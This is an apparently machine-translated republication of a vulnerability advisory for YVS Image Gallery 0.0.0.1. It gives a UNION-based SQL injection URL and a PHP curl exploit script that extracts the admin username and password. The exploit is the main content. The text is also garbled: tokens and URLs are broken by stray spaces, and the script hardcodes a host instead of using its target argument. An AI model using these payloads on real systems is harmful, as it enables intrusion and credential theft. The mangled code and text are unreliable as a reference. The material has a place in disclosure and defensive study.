YVS Image Gallery SQL injection and repair

Source: Internet
Author: User

Application: YVS Image Gallery
Affected Version: 0.0.0.1
Developer Website: http://yvs.vacau.com/gallery.html
Test Platform: Windows, Linux, and Unix
Defect type: SQL INJECTIONS
Exploitation: Remote
Author: Corrado Liotta Aka CorryL www.2cto.com corryl80 [at] gmail [dot] com ~
...: [Overview]:...
This is a small database driven gallery created to be implemented
Within your existing site.
The coding is reasonably straight forward and can be easily moved
Your existing development
By anyone with basic understanding of PHP.
Only a first attempt at the system has a long way to go,
But it provides you with all the necessary tools to run your own
Picture gallery,
Such as uploading of multiple images and creation of thumbnails.
The gallery is distributed as free-ware but if you decide to use it in
Any business or just decide that it's worth it,
Any donations will be greatly appreciated. details will be made available soon.
...: [Defect vulnerability]:...
Exploiting this bug a remote attaker is able 'to go up again to user
Name and admin password
...: [Test proof]:...
Http://www.bkjia.com/image_gallery/view_album.php? Album_id =-1% 20 UNION % 20% 20 SELECT % 20 username % 20 FROM % 20 user
...: [Li Yuanhong]:...
#! /Usr/bin/php-f
<? Php
#
# View_album.php curl exploit
#
// Created by Corrado Liotta Aka CorryL
// For educational only
// Use php exploit. php 127.0.0.1 username for admin username o
Password for admin password
$ Target = $ argv [1];
$ Info = $ argv [2];
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ ch, CURLOPT_URL,
"Http: // www.2cto.com/image_gallery/view_album.php? Album_id =-1% 20 UNION % 20% 20 SELECT % 20 $ info % 20 FROM % 20 user ");
Curl_setopt ($ ch, CURLOPT_HTTPGET, 1 );
Curl_setopt ($ ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0 )");
Curl_setopt ($ ch, CURLOPT_TIMEOUT, 3 );
Curl_setopt ($ ch, CURLOPT_LOW_SPEED_LIMIT, 3 );
Curl_setopt ($ ch, CURLOPT_LOW_SPEED_TIME, 3 );
Curl_setopt ($ ch, CURLOPT_COOKIEJAR, "/tmp/cookie _ $ target ");
$ Buf = curl_exec ($ ch );
Curl_close ($ ch );
Unset ($ ch );
Echo $ buf;
?>
...: [Disclousure Timeline]:
 
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.